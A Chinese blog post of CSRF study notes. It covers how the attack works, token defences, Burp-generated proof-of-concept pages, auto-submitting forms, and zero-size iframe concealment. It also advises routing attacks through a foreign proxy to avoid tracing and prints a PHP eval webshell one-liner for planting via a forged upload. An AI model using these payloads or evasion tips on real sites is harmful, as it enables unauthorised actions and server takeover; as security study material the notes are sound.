学习记录-CSRF跨站伪造请求

学习记录-CSRF跨站伪造请求

注:本文仅学术交流,不做其它用途

1.实质:就是浏览器在未关闭的情况下是一直存在cookie的,通过伪造请求诱导触发,浏览器会自动填充cookie然后去只想恶意请求

2.测试流程:用账号甲登录网址—通过burp伪造请求诱导点击—用账号乙登录网址—点击伪造链接
遇到问题:浏览器莫名奇妙不填充cookie,检测发现浏览器设置了拦截不填充

3.Token防御机制:
实质:简单的说就是新增一个字段token,用来验证访问者身份,csrf是利用浏览器自动填充没有办法提前确定token的值所以被拦截
1)访问一个网址,浏览器会有cookie,cookie里面会有一个token字段
2)用户去访问网址,浏览器会在头部自动填充cookie,然后在请求字段加上token字段
3)后端映射对比请求包cookie中的token和新增字段token的值是否一样,一样才放行

4.burp制作poc方法
1)抓到需要攻击的动作,截取发送请求包
在这里插入图片描述
2)右键选择制作poc,这里的攻击代码比较温柔需要手动触发,可以后续修改触发方式
在这里插入图片描述
在这里插入图片描述
5.伪造链接提高隐秘性
1)在网址上用iframe 设置窗口为0,然后找点正常的代码现实界面,触发了也发现不了,当然这个iframe可以跳转加载其它文件,也可直接把poc写在里面
<iframe src=‘xxx’ height=‘0’ width=‘0’>
2)实战中,你需要搭建一个公网的网址,就算对方中了马也不能用自己的ip连,一抓包就可以查到自己,最好挂一个代理,整个国外的好点
3)burp制造的代码很温柔需要手动提交才可以,burp制造的poc有两种一种是定义函数,另外一个种是表单提交,都可以直接设置为自动触发;
第一种:自定义函数
可以用时间触发

<script>
function submitRequest()
......
</script>
    <form action="#">
      <img src='12.png' onload="submitRequest();" />
    </form>

也可以直接执行函数

<script>
function submitRequest()
......
submitRequest();
</script>

第二种:提交表单
指定一个标识id,然后自动提交表单

 <script>history.pushState('', '', '/')</script>
   <form id="ly" action="xxx" method="POST">
...............
   </form>
	<script>
	    function validate(){
    
    
		    document.getElementById('ly').submit();
	    }
	    setTimeout(validate,100)
	</script>

6.如果是伪造新增文件如php等,可以向里面注入一句话木马,可以通过工具菜刀等获取webshell

<?php @eval($_POST['a']);?>

地址包括 网址地址和请求参数上面这个就可以写a,脚本类型全部选择好后直接添加
在这里插入图片描述

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/SmileAndFun/article/details/108203007